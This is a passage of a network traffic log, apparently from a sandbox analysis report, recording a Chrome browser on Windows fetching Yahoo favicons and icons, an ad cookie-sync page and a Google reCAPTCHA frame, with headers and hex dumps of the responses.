2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 75 15 f3 ef 3f 82 c8 af 79 1e dc e5 da 96 99 4a 0e 86 47 59 30 ce ba e4 c0 a9 b1 2c 5d 47 3d ca 6c c8 54 d0 33 4b fc f3 96 eb c4 d6 77 ab 11 92 c0 1e a5 4d 75 98 89 b5 46 d5 b9 27 a8 3f 26 01 04 88 11 79 37 f2 5a 8f b7 dc df 09 81 be 8e f0 7b 4e 6b fb 81 4e 1d 34 fb 8b f9 c5 59 d8 0a 93 af 05 26 bb f6 b7 cf 04 a7 bd d6 43 74 28 ca 14 dc 03 cd b5 35 b6 69 c2 3f 14 8b 09 df 6f d9 0e 63 ad cf 83 eb fd 19 08 f0 4d 42 c1 ff e7 41 e1 5a 91 dc f3 f2 c2 30 3b 46 f3 ba 64 89 57 bf 1c 24 b2 da da e3 45 32 59 b8 f2 c1 19 47 35 36 81 e5 20 56 d4 6d 40 5b c7 79 65 e5 b9 75 8f db 28 18 5e 60 28 81 41 3d 5a 86 76 1d cc 3e 9d d3 ba b8 c1 ed 3c 16 70 39 83 e2 50 c9 70 88 64 39 4c 5a 1c 7d 1e d6 1f 63 9a 4c 0b b4 d7 cb 4a 3f fc b5 dc fa 70 27 a1 53 f0 50 3e 2a 52 8b a3 20 Data Ascii: u?yJGY0,]G=lT3KwMuF'?&y7Z{NkN4Y&Ct(5i?ocMBAZ0;FdW$E2YG56 Vm@[yeu(^`(A=Zv><p9Ppd9LZ}cLJ?p'SP>*R
2024-01-10 23:27:34 UTC	574	IN	Data Raw: f2 a4 0b 03 16 ca 38 8f 6b b3 ad 40 b5 b8 ee 03 59 2b 02 fa 8f e0 1e 23 d5 0c 36 2a 8a 8d 06 a8 6b 06 09 a9 7b 4f c9 73 00 51 7a 34 84 d1 ce 32 f0 8f c1 6a 01 16 4a f0 88 a8 5b ea b8 4c d7 b9 47 d5 b4 16 eb f9 10 d6 5a 55 cb 19 86 b4 09 38 e3 77 66 d4 56 10 ab 72 a2 bb e6 96 0c ae aa 47 bc 30 1a 49 f5 31 07 10 85 04 88 e8 54 bf 03 56 9b d2 a8 90 e8 89 9b c1 1e 02 78 e8 34 c7 94 62 32 84 59 5b a4 37 94 43 da 1c b0 0a 3a 5a 15 e4 fc 9a ba a3 0e cb e2 01 1e 8a 19 17 0b c4 8a 0d 82 35 e2 46 fd 05 60 c6 8d 14 39 d7 c0 26 24 7d 0a c0 71 bc 01 de 79 d1 ce 53 c6 c5 02 f9 8b a7 2b 80 43 d9 63 60 fe a0 4d 51 70 0d 50 47 d4 15 7f 7a 13 57 f0 50 cc b8 5b 20 0a 61 10 ac 11 a3 d6 73 c1 4f 80 e3 0e 6e 43 ae 04 39 f2 b7 ea fc 89 f9 0f 00 9c 84 d9 f5 90 50 00 32 3a 0a 40 Data Ascii: 8k@Y+#6*k{OsQz42jJ[LGZU8wfVrG0I1TVx4b2Y[7C:Z5F`9&$}qyS+Cc`MQpPGzWP[ asOnC9P2:@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.4	50563	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	583	OUT	GET /rz/l/favicon.ico HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:34 UTC	800	IN	HTTP/1.1 200 OK x-amz-id-2: wSaLYIqNCWjgeBzVeyNi/NK3XaAENdaP6yY3KbNF/It3dk62ZllWEND8ruPsykve9sYVpznXz+g= x-amz-request-id: C3VVF96JJ78WHP3C Date: Wed, 10 Jan 2024 23:26:24 GMT Last-Modified: Wed, 10 Jan 2024 21:31:39 GMT ETag: "3a07174943f82046370997254100d870" x-amz-server-side-encryption: AES256 Cache-Control: private Expires: Fri, 12 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/vnd.microsoft.icon Server: ATS Content-Length: 2238 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 71 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 08 00 a8 08 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 01 60 00 d2 02 61 00 d2 03 61 00 d2 04 62 00 d2 05 63 00 d3 07 64 00 d3 09 65 00 d3 0b 66 00 d4 0c 67 00 d4 0d 68 00 d4 10 69 00 d5 11 6a 00 d5 13 6b 00 d5 14 6c 00 d6 1b 70 00 d7 1e 72 00 d7 20 73 00 d8 24 76 00 d9 29 79 00 d9 2b 7a 00 da 2e 7c 00 da 30 7d 00 db 36 81 00 dc 39 83 00 dc 3b 84 00 dd 41 88 00 df 4b 8e 00 df 4c 8f 00 e0 50 91 00 e0 52 93 00 e0 54 94 00 e1 58 96 00 e1 59 97 00 e2 5c 99 00 e4 6b a2 00 e5 6c a3 00 e5 6f a5 00 e5 70 a5 00 e7 78 aa 00 e7 79 ab 00 e8 7e ae 00 e8 80 af 00 e8 82 b1 00 ea 88 b4 00 ea 8c b7 00 eb 92 bb 00 ec 94 bc 00 ec 95 bc 00 ec Data Ascii: ( @`aabcdefghijklpr s$v)y+z.\|0}69;AKLPRTXY\klopxy~
2024-01-10 23:27:34 UTC	938	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 57 57 57 54 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 57 57 57 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 57 57 57 4c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d 57 57 57 57 22 00 00 07 30 48 41 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 57 57 57 57 45 00 00 2f 57 57 57 56 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 57 57 57 57 57 57 1a 00 43 57 57 57 57 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 57 57 57 57 57 57 3a 00 33 57 57 57 57 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 53 57 57 53 4e 57 57 57 13 0d 39 56 53 Data Ascii: WWWT;WWW,WWWLWWWW"0HA=WWWWE/WWWVWWWWWWCWWWW*6WWWWWW:3WWWW SWWSNWWW9VS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.4	50565	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	1784	OUT	GET /checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014,25082,25113,25307,25308,25309,25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:34 UTC	368	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 23901 Content-Type: text/html; charset=UTF-8 x-mnet-hl2: E Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Expires: Wed, 10 Jan 2024 23:27:34 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:34 GMT Connection: close
2024-01-10 23:27:34 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-01-10 23:27:34 UTC	16384	IN	Data Raw: 20 20 20 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 32 35 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 31 35 35 35 32 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 31 22 2c Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"1",
2024-01-10 23:27:34 UTC	7516	IN	Data Raw: 74 28 6e 5b 31 5d 29 7c 7c 6e 5b 30 5d 2e 6c 65 6e 67 74 68 3c 3d 31 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 72 29 7b 69 66 28 22 31 37 22 21 3d 3d 61 7c 7c 21 6e 2e 73 68 6f 75 6c 64 50 75 72 67 65 43 6f 6f 6b 69 65 46 6f 72 53 6f 75 72 63 65 28 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 72 2e 73 70 6c 69 74 28 67 29 3b 72 65 74 75 72 6e 20 74 2e 6c 65 6e 67 74 68 3e 31 26 26 28 65 2e 69 73 53 65 74 28 74 5b 31 5d 29 26 26 22 31 22 3d 3d 3d 74 5b 31 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 6e 29 7b 76 61 72 20 72 3d 65 2e 67 65 74 43 6f 6f 6b 69 65 28 6e 2e 63 6f 6f 6b 69 65 29 7c 7c 22 22 2c 74 3d 6e 2e 6e 61 6d 65 2c 73 3d 6e 2e 70 75 72 67 65 3b 72 65 74 75 72 6e 22 22 21 3d 3d 72 26 26 76 6f 69 64 20 30 21 3d 3d 72 26 26 69 28 72 29 26 26 21 Data Ascii: t(n[1])\|\|n[0].length<=1)}function u(r){if("17"!==a\|\|!n.shouldPurgeCookieForSource())return!1;var t=r.split(g);return t.length>1&&(e.isSet(t[1])&&"1"===t[1])}function s(n){var r=e.getCookie(n.cookie)\|\|"",t=n.name,s=n.purge;return""!==r&&void 0!==r&&i(r)&&!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.4	50567	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	382	OUT	GET /cv/apiv2/09062018/manifest/yahoo_install_144.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:34 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: nyGgZ3V30RNH58LhLAn6brGcESAJI6ISQ/ix3jYVsyfNVHWDv+bJX/Sdlgce0B2V3bAzF3w2sRI= x-amz-request-id: 76FGM3SCJ6ACW0S6 Date: Tue, 09 Jan 2024 12:11:16 GMT Last-Modified: Sat, 21 Sep 2019 00:16:19 GMT ETag: "3a37f3d24fe68e35c1f239537fabac9d" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 5774 Referrer-Policy: no-referrer-when-downgrade Age: 126979 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 90 00 00 00 90 08 06 00 00 00 e7 46 e2 b8 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 16 45 49 44 41 54 78 01 ed 5d 7b 78 55 d5 95 df 21 09 24 40 02 49 88 bc c1 a0 3c 94 41 79 54 b4 40 e0 0b d6 4f d0 42 15 1f ad 22 b5 d6 af a2 8e fa cf 54 66 28 33 52 3b 02 d5 b6 f6 31 45 06 9c 71 74 04 1c db 82 cc 58 2c 14 0d e5 dd 62 41 28 82 f2 0a 42 e4 19 5e 21 09 21 81 90 f9 fd 4e ce b9 b9 e7 9c 7d ef 3d f7 de 73 ee 73 af ef 5b 39 af fd 58 7b ed df 59 7b ed b5 f7 3d c9 10 69 46 cd cd cd 59 68 72 3f f0 40 9d fb e3 58 08 ce 0b c0 b8 2d 6a 02 f0 59 dc df 0f de ab 73 45 46 46 c6 15 9c a7 0d 65 a4 72 4b 01 96 0e 68 5f 29 78 2c f8 46 f0 20 30 c1 93 0d f6 82 2e a3 d0 0a f0 e7 e0 3d e0 f5 e0 0d 00 55 1d 8e 29 Data Ascii: PNGIHDRFgAMAaEIDATx]{xU!$@I<AyT@OB"Tf(3R;1EqtX,bA(B^!!N}=ss[9X{Y{=iFYhr?@X-jYsEFFerKh_)x,F 0.=U)
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: d2 ee 26 97 38 06 c0 0a 1d b2 b6 3c 90 05 e2 a7 74 15 78 ac da 4a df 6b 62 81 98 b0 91 cd 02 c1 fa 10 54 47 c0 3d 6d a9 d5 8d 74 d6 00 f7 0a f5 81 15 a2 4f e4 23 99 05 1a 8f a7 0a 3c 3e 15 a9 13 5d 03 c4 04 b1 61 22 19 80 a6 99 52 a8 0b a5 81 56 0d d8 b0 61 1a c2 30 7c 75 40 da 93 60 1e 15 29 0d 58 35 50 87 1b 5d 31 8c f1 a8 91 d5 02 f1 8b f0 0a 3c ba 72 d4 c1 a6 01 62 83 18 f1 91 15 40 53 7d 4f d4 89 d2 80 5c 03 26 8c f8 86 30 0c 5f ed 90 fe 3c 38 47 9e 4f dd 55 1a d0 34 70 09 7f 3b 63 18 6b e0 95 bf 05 e2 7f fa 53 e0 a1 56 14 05 d3 00 31 42 ac 68 e4 0f a0 32 e3 a6 3a 2a 0d 84 d0 80 0f 2b fe 00 1a 1f 22 93 7a ac 34 60 68 c0 87 15 cd 07 d2 a7 ef dc ff 9a 6d a4 50 47 a5 81 20 1a b8 8c 67 05 9c ce 1b 16 88 3f 2a 53 e0 09 a2 31 f5 c8 a4 01 62 85 98 f1 2d 98 Data Ascii: &8<txJkbTG=mtO#<>]a"RVa0\|u@`)X5P]1<rb@S}O\&0_<8GOU4p;ckSV1Bh2:+"z4`hmPG g?S1b-
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 93 8f e5 d9 39 6d c4 a4 59 d7 88 e7 d7 94 88 67 96 f5 15 5f 09 60 f1 ac f5 07 ba 1e 36 39 5f 3c b9 b4 8f b8 6b 46 31 de 50 b9 9f 72 72 5f cb f0 bb ea a7 55 d2 62 3a 75 cb 16 0f fc b8 9b 78 6e c5 b5 e2 01 ac 2f e5 c3 17 94 91 91 9f d6 67 fb ff b6 ea c2 3f ed df dd 91 a7 4d 1e 9e fa 9f 3e a2 f4 b1 42 81 d5 6e ff c7 da f9 e9 2f 1a f1 72 99 f3 1f d8 7c 51 54 fe 8d ff c9 c9 4e 74 c2 3b 77 97 cb 64 4f 1d f6 9d 3c 96 ec 8a 0f 64 54 7d fb 33 45 e2 8d c7 cd 26 9b cf d6 23 b8 75 cb 03 2d 43 1c cf f9 36 59 89 6f 0a 4d 2d fd 03 2b b1 83 67 7c 54 a2 81 d4 78 36 e2 de 7c 6d 16 b7 f2 65 79 e7 1a e9 64 c7 9e 83 73 d0 e9 7d b5 47 b7 7e ab 93 b8 70 ea 8a d8 f8 a6 d9 e7 e1 c3 d3 87 1b 35 7f 6c ff 26 fb d0 d5 b9 7b b6 f8 d1 ce fe 22 af 4b cb f8 30 6c 72 9e 18 f3 58 81 78 e1 Data Ascii: 9mYg_`69_<kF1Prr_Ub:uxn/g?M>Bn/r\|QTNt;wdO<dT}3E&#u-C6YoM-+g\|Tx6\|meyds}G~p5l&{"K0lrXx
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 75 15 f3 ef 3f 82 c8 af 79 1e dc e5 da 96 99 4a 0e 86 47 59 30 ce ba e4 c0 a9 b1 2c 5d 47 3d ca 6c c8 54 d0 33 4b fc f3 96 eb c4 d6 77 ab 11 92 c0 1e a5 4d 75 98 89 b5 46 d5 b9 27 a8 3f 26 01 04 88 11 79 37 f2 5a 8f b7 dc df 09 81 be 8e f0 7b 4e 6b fb 81 4e 1d 34 fb 8b f9 c5 59 d8 0a 93 af 05 26 bb f6 b7 cf 04 a7 bd d6 43 74 28 ca 14 dc 03 cd b5 35 b6 69 c2 3f 14 8b 09 df 6f d9 0e 63 ad cf 83 eb fd 19 08 f0 4d 42 c1 ff e7 41 e1 5a 91 dc f3 f2 c2 30 3b 46 f3 ba 64 89 57 bf 1c 24 b2 da da e3 45 32 59 b8 f2 c1 19 47 35 36 81 e5 20 56 d4 6d 40 5b c7 79 65 e5 b9 75 8f db 28 18 5e 60 28 81 41 3d 5a 86 76 1d cc 3e 9d d3 ba b8 c1 ed 3c 16 70 39 83 e2 50 c9 70 88 64 39 4c 5a 1c 7d 1e d6 1f 63 9a 4c 0b b4 d7 cb 4a 3f fc b5 dc fa 70 27 a1 53 f0 50 3e 2a 52 8b a3 20 Data Ascii: u?yJGY0,]G=lT3KwMuF'?&y7Z{NkN4Y&Ct(5i?ocMBAZ0;FdW$E2YG56 Vm@[yeu(^`(A=Zv><p9Ppd9LZ}cLJ?p'SP>*R
2024-01-10 23:27:34 UTC	574	IN	Data Raw: f2 a4 0b 03 16 ca 38 8f 6b b3 ad 40 b5 b8 ee 03 59 2b 02 fa 8f e0 1e 23 d5 0c 36 2a 8a 8d 06 a8 6b 06 09 a9 7b 4f c9 73 00 51 7a 34 84 d1 ce 32 f0 8f c1 6a 01 16 4a f0 88 a8 5b ea b8 4c d7 b9 47 d5 b4 16 eb f9 10 d6 5a 55 cb 19 86 b4 09 38 e3 77 66 d4 56 10 ab 72 a2 bb e6 96 0c ae aa 47 bc 30 1a 49 f5 31 07 10 85 04 88 e8 54 bf 03 56 9b d2 a8 90 e8 89 9b c1 1e 02 78 e8 34 c7 94 62 32 84 59 5b a4 37 94 43 da 1c b0 0a 3a 5a 15 e4 fc 9a ba a3 0e cb e2 01 1e 8a 19 17 0b c4 8a 0d 82 35 e2 46 fd 05 60 c6 8d 14 39 d7 c0 26 24 7d 0a c0 71 bc 01 de 79 d1 ce 53 c6 c5 02 f9 8b a7 2b 80 43 d9 63 60 fe a0 4d 51 70 0d 50 47 d4 15 7f 7a 13 57 f0 50 cc b8 5b 20 0a 61 10 ac 11 a3 d6 73 c1 4f 80 e3 0e 6e 43 ae 04 39 f2 b7 ea fc 89 f9 0f 00 9c 84 d9 f5 90 50 00 32 3a 0a 40 Data Ascii: 8k@Y+#6*k{OsQz42jJ[LGZU8wfVrG0I1TVx4b2Y[7C:Z5F`9&$}qyS+Cc`MQpPGzWP[ asOnC9P2:@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.4	50568	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	350	OUT	GET /rz/l/favicon.ico HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:34 UTC	800	IN	HTTP/1.1 200 OK x-amz-id-2: wSaLYIqNCWjgeBzVeyNi/NK3XaAENdaP6yY3KbNF/It3dk62ZllWEND8ruPsykve9sYVpznXz+g= x-amz-request-id: C3VVF96JJ78WHP3C Date: Wed, 10 Jan 2024 23:26:24 GMT Last-Modified: Wed, 10 Jan 2024 21:31:39 GMT ETag: "3a07174943f82046370997254100d870" x-amz-server-side-encryption: AES256 Cache-Control: private Expires: Fri, 12 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/vnd.microsoft.icon Server: ATS Content-Length: 2238 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 71 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 08 00 a8 08 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 01 60 00 d2 02 61 00 d2 03 61 00 d2 04 62 00 d2 05 63 00 d3 07 64 00 d3 09 65 00 d3 0b 66 00 d4 0c 67 00 d4 0d 68 00 d4 10 69 00 d5 11 6a 00 d5 13 6b 00 d5 14 6c 00 d6 1b 70 00 d7 1e 72 00 d7 20 73 00 d8 24 76 00 d9 29 79 00 d9 2b 7a 00 da 2e 7c 00 da 30 7d 00 db 36 81 00 dc 39 83 00 dc 3b 84 00 dd 41 88 00 df 4b 8e 00 df 4c 8f 00 e0 50 91 00 e0 52 93 00 e0 54 94 00 e1 58 96 00 e1 59 97 00 e2 5c 99 00 e4 6b a2 00 e5 6c a3 00 e5 6f a5 00 e5 70 a5 00 e7 78 aa 00 e7 79 ab 00 e8 7e ae 00 e8 80 af 00 e8 82 b1 00 ea 88 b4 00 ea 8c b7 00 eb 92 bb 00 ec 94 bc 00 ec 95 bc 00 ec Data Ascii: ( @`aabcdefghijklpr s$v)y+z.\|0}69;AKLPRTXY\klopxy~
2024-01-10 23:27:34 UTC	938	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 57 57 57 54 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 57 57 57 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 57 57 57 4c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d 57 57 57 57 22 00 00 07 30 48 41 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 57 57 57 57 45 00 00 2f 57 57 57 56 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 57 57 57 57 57 57 1a 00 43 57 57 57 57 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 57 57 57 57 57 57 3a 00 33 57 57 57 57 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 53 57 57 53 4e 57 57 57 13 0d 39 56 53 Data Ascii: WWWT;WWW,WWWLWWWW"0HA=WWWWE/WWWVWWWWWWCWWWW*6WWWWWW:3WWWW SWWSNWWW9VS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.4	50571	172.253.115.106	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	981	OUT	GET /recaptcha/api2/aframe HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
2024-01-10 23:27:35 UTC	847	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Wed, 10 Jan 2024 23:27:35 GMT Date: Wed, 10 Jan 2024 23:27:35 GMT Cache-Control: private, max-age=300 Content-Security-Policy: script-src 'report-sample' 'nonce-3uy0Imm1nXdF2vdCFlyO-w' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
